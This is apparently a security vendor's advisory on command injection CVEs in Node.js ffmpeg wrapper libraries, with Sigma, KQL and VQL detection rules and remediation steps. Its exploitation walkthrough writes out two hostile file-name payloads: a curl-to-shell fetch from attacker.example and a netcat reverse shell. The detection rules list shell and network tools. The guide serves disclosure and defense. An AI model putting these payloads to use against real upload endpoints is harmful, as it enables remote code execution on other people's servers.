CVE-2026-110644 & 3 Critical FFmpeg Wrapper CVEs: OS Command Injection in Node.js Media Libraries — Detection and Remediation Guide

In the last 72 hours, NVD published four CRITICAL-severity CVEs — all carrying CVSS scores up to 9.8 and all network-exploitable — affecting popular Node.js packages that wrap the ffmpeg multimedia framework. This is not a flaw in ffmpeg itself. It is something arguably more dangerous from a supply-chain perspective: OS command injection vulnerabilities in the glue code that thousands of applications use to shell out to ffmpeg.

The most severe of the set, CVE-2026-110644 (CVSS 9.8), affects nodejs-whisper through version 0.3.1. The convertToWavType() function interpolates user-supplied audio file paths directly into a shell command executed via shelljs exec(). An attacker who controls a file name — think user-uploaded audio for transcription, voicemail processing, podcast pipelines — can inject $( ) command substitution or break out of quotes and execute arbitrary operating system commands with the privileges of the Node.js process.

If your organization runs any web application, SaaS backend, media processing pipeline, or AI transcription service built on Node.js, you need to determine exposure today. These are pre-authentication, network-reachable, trivially exploitable flaws in library code that sits directly in the data path of untrusted user input.

Technical Analysis

Affected Products and CVEs

All four share the same root cause pattern: unsanitized file paths or media parameters are concatenated into a string that is passed to a shell interpreter, which then invokes ffmpeg. The packages act as convenience wrappers — and convenience is exactly where injection bugs breed.

How the Exploitation Works

The attack chain for CVE-2026-110644 is textbook CWE-78 (OS Command Injection):

1. Entry point: An application accepts an audio file upload or a file path from an API consumer. The path flows into nodejs-whisper's convertToWavType() for format conversion before transcription.
2. Sink: The function builds an ffmpeg command string and executes it through shelljs.exec(). Because shelljs passes the string to /bin/sh -c (or cmd.exe on Windows), the full shell grammar is in play.
3. Injection primitives: An attacker supplies a file name containing shell metacharacters — for example voice$(curl attacker.example/x|sh).mp3 or audio"; nc -e /bin/sh 10.0.0.5 4444; ".wav. The $( ) substitution or the quote-break terminates the intended argument and executes attacker-controlled commands.
4. Impact: Code execution as the Node.js service account. In containerized deployments this is often root inside the container; in traditional deployments it is whatever user runs the app server. From there: data theft, lateral movement, crypto-mining, or ransomware staging.

The video-stitch and stills packages (CVE-2026-110645, CVE-2026-110649) follow the identical pattern — attacker-influenced input reaches an ffmpeg shell command without sanitization or argument-array exec.

Exploitation Requirements and Status

• Attack vector: Network (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N) — the classic 9.8 profile.
• Prerequisite: The target application must accept attacker-controlled file names or paths that reach the vulnerable wrapper function. Any application with a file upload, URL-to-media ingestion, or user-controlled filename feature is a candidate victim.
• Exploitation status: As of publication, these CVEs are newly disclosed via NVD with no confirmed in-the-wild exploitation and no CISA KEV listing at the time of writing. However, command injection in npm packages historically weaponizes within days — the exploitation technique is trivial and requires no specialized tooling. Treat these as exploitation-imminent, not theoretical.

Why This Pattern Keeps Burning Defenders

Shelling out to ffmpeg is endemic in the Node.js ecosystem. Any wrapper that builds a command string instead of using execFile()/spawn() with an argument array inherits the entire shell injection surface. The blast radius here is not one application — it is every downstream consumer of these packages, including transitive dependencies you may not know you have. This is a software composition analysis (SCA) problem as much as a patching problem.

Detection & Response

Detection strategy centers on the observable behavior: a Node.js process spawning a shell, which in turn spawns ffmpeg with anomalous command-line content, or spawning unexpected child processes entirely (curl, wget, nc, bash, powershell). Legitimate ffmpeg invocations come from predictable parent processes with predictable argument shapes — deviations are high-fidelity signal.

SIGMA Rules

---
title: Node.js Spawning Shell with Suspicious Command Substitution
description: Detects Node.js processes invoking a shell with command substitution, quote-breakout, or shell metacharacter patterns consistent with OS command injection exploitation of CVE-2026-110644, CVE-2026-110645, or CVE-2026-110649 in ffmpeg wrapper packages.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-110644
  - https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
id: 4b8d1f2a-6c3e-4a91-b7d5-2e9f0c1a8d44
status: experimental
date: 2026/04/06
tags:
  - attack.execution
  - attack.t1059.004
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentCommandLine|contains:
      - 'node'
  selection_shell:
    CommandLine|startswith:
      - '/bin/sh'
      - '/bin/bash'
      - '/bin/dash'
  selection_injection:
    CommandLine|contains:
      - '$('
      - '`'
      - '; '
      - ' && '
      - ' | sh'
      - ' | bash'
      - '";'
      - "';"
  condition: selection_parent and selection_shell and selection_injection
falsepositives:
  - Legitimate build scripts or CI pipelines invoking node with shell wrappers
level: high
---
title: Node.js or FFmpeg Spawning Unexpected Network or Shell Tooling
description: Detects post-exploitation behavior where node or ffmpeg processes spawn curl, wget, netcat, ncat, python, or an interactive shell — a strong indicator of successful command injection via ffmpeg wrapper packages such as nodejs-whisper, video-stitch, or stills.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-110644
  - https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
id: 9c2e5a71-3f48-4db6-a1c9-7b4d2e6f8301
status: experimental
date: 2026/04/06
tags:
  - attack.execution
  - attack.command_and_control
  - attack.t1059
  - attack.t1105
logsource:
  category: process_creation
detection:
  selection_parent:
    ParentImage|endswith:
      - '/node'
      - '/ffmpeg'
      - '\\node.exe'
      - '\\ffmpeg.exe'
  selection_child:
    Image|endswith:
      - '/curl'
      - '/wget'
      - '/nc'
      - '/ncat'
      - '/netcat'
      - '/socat'
      - '/python'
      - '/python3'
      - '/bash'
      - '/sh'
      - '\\powershell.exe'
      - '\\pwsh.exe'
      - '\\curl.exe'
      - '\\certutil.exe'
      - '\\cmd.exe'
  condition: selection_parent and selection_child
falsepositives:
  - Media pipelines that legitimately download assets via curl from node workers
level: critical
---
title: FFmpeg Invoked with Suspicious File Name Metacharacters
description: Detects ffmpeg process execution where the command line contains shell metacharacters or command substitution embedded in what should be a file path argument, indicating exploitation of OS command injection in Node.js ffmpeg wrapper libraries (CVE-2026-110644 / CVE-2026-110645 / CVE-2026-110649).
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-110644
  - https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
id: 1d7a9c34-8e52-4b67-9f03-5c2a6d1e4b78
status: experimental
date: 2026/04/06
tags:
  - attack.execution
  - attack.t1059
logsource:
  category: process_creation
detection:
  selection_img:
    Image|endswith:
      - '/ffmpeg'
      - '\\ffmpeg.exe'
  selection_meta:
    CommandLine|contains:
      - '$('
      - '`'
      - ';'
      - '&&'
      - '||'
      - '| nc'
      - 'base64'
      - '/dev/tcp/'
  condition: selection_img and selection_meta
falsepositives:
  - Rare filtergraph syntax; baseline ffmpeg argument shapes in your environment before deploying
level: high

KQL (Microsoft Sentinel / Defender)

This hunt identifies Node.js or ffmpeg processes spawning shells or post-exploitation tooling, plus ffmpeg invocations containing injection primitives. It works against MDE telemetry natively and against Linux Syslog/CEF ingestion where process auditing (auditd/Sysmon for Linux) is enabled.

let SuspiciousChildren = dynamic(["curl", "wget", "nc", "ncat", "socat", "bash", "sh", "python", "python3", "powershell.exe", "cmd.exe", "certutil.exe"]);
let InjectionTokens = dynamic(["$(", "`;", "; ", " && ", " || ", "/dev/tcp/", "| sh", "| bash"]);
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName has_any ("node", "ffmpeg")
   or FileName =~ "ffmpeg" or FileName =~ "ffmpeg.exe"
| extend ChildSuspicious = FileName has_any (SuspiciousChildren),
         InjectionHit = ProcessCommandLine has_any (InjectionTokens)
| where ChildSuspicious or InjectionHit
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine,
          FileName, ProcessCommandLine, AccountName, RemoteIP, ReportId
| order by TimeGenerated desc

Velociraptor VQL

Use this hunt across your Linux and Windows fleet to surface node/ffmpeg parent processes with anomalous children or injection-pattern command lines — useful both for compromise assessment and for scoping which servers actually run these wrappers.

-- Hunt for command injection indicators in node/ffmpeg process trees
SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime
FROM pslist()
WHERE (
    Exe =~ '(?i)(node|ffmpeg)(\.exe)?$'
    AND CommandLine =~ '(?i)\$\(|`;|; | && | \|\| |/dev/tcp/|\| (sh|bash)'
  )
  OR (
    Name =~ '(?i)^(curl|wget|nc|ncat|socat|bash|sh|python3?|powershell|cmd)(\.exe)?$'
    AND getMember(item={
      SELECT Pid, Name FROM pslist()
    }, str=str(format='%v', Ppid)) =~ '(?i)(node|ffmpeg)'
  )

Remediation and Exposure-Discovery Script (Bash)

Run this on application servers and build agents to locate vulnerable package versions and upgrade where fixed releases exist. It checks package-lock files and installed node_modules for the affected packages and versions.

#!/usr/bin/env bash
# CVE-2026-110644 / -110645 / -110649 exposure check and remediation helper
set -euo pipefail

echo "=== [1/4] Searching for affected packages in node_modules trees ==="
find / -name package.json -path '*node_modules*' 2>/dev/null | while read -r pkg; do
  name=$(grep -m1 '"name"' "$pkg" | cut -d'"' -f4)
  ver=$(grep -m1 '"version"' "$pkg" | cut -d'"' -f4)
  case "$name" in
    nodejs-whisper|video-stitch|stills)
      echo "FOUND: $name@$ver  ($pkg)" ;;
  esac
done

echo "=== [2/4] Auditing npm projects for vulnerable versions ==="
for lock in $(find /srv /opt /home /var/www -maxdepth 4 -name package-lock.json 2>/dev/null); do
  dir=$(dirname "$lock")
  echo "--- Auditing $dir ---"
  (cd "$dir" && npm audit --audit-level=high 2>/dev/null | grep -Ei 'nodejs-whisper|video-stitch|stills|CVE-2026-1106' || echo "  no hits")
done

echo "=== [3/4] Version gating (manual review required) ==="
echo "  nodejs-whisper : vulnerable through 0.3.1  -> upgrade to latest fixed release"
echo "  video-stitch   : vulnerable before 2.0.0-beta.1 -> npm install video-stitch@2.0.0-beta.1"
echo "  stills         : vulnerable before 25.24.2 -> npm install stills@25.24.2"

echo "=== [4/4] Detecting running node processes invoking ffmpeg via shell ==="
ps auxww | grep -E 'node|ffmpeg' | grep -Ev 'grep' | grep -E '\$\(|;| && |\| sh' || echo "  no suspicious live processes"

Remediation

1. Patch immediately:
   • video-stitch: upgrade to 2.0.0-beta.1 or later.
   • stills: upgrade to 25.24.2 or later.
   • nodejs-whisper: versions through 0.3.1 are vulnerable. Check the package repository and NVD entry for the fixed release; if no patched version is available for your dependency line, remove or replace the package — do not wait.
   • CVE-2026-110650: review the NVD entry for the affected package and apply the vendor fix.
2. Inventory transitive exposure: Run npm ls nodejs-whisper video-stitch stills in every deployed project and scan container images with your SCA tooling (Trivy, Grype, Snyk, Dependabot). These packages are frequently pulled in transitively by transcription and media-processing frameworks.
3. Workaround — sanitize at the trust boundary: Until patched, enforce strict file-name validation in application code: reject any upload or path containing characters outside [A-Za-z0-9._-], and never pass user-controlled names to the wrapper. Rename uploads to server-generated UUIDs before any processing.
4. Workaround — eliminate the shell: Where you maintain the calling code, replace string-based execution with execFile()/spawn() using argument arrays (shell: false). This is the durable architectural fix for the entire bug class.
5. Reduce blast radius: Run media-processing workers as a dedicated low-privilege user, in a sandboxed container with no network egress (or egress restricted to an allowlist), read-only root filesystem, and seccomp profiles that deny execve of shells and network tools.
6. Egress controls: Block outbound connections from application servers to untrusted destinations. Command injection with no egress becomes a detection exercise instead of a breach.
7. Hunt retroactively: Run the KQL and VQL hunts above across at least the last 7–14 days. Given how recently these CVEs were published, any hit predating disclosure is a serious incident, not a false positive to triage away.
8. Track KEV: Monitor CISA's Known Exploited Vulnerabilities catalog for additions of these CVEs; a KEV listing would impose remediation deadlines for federal agencies and should trigger emergency change windows for everyone else.

Related Resources

Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub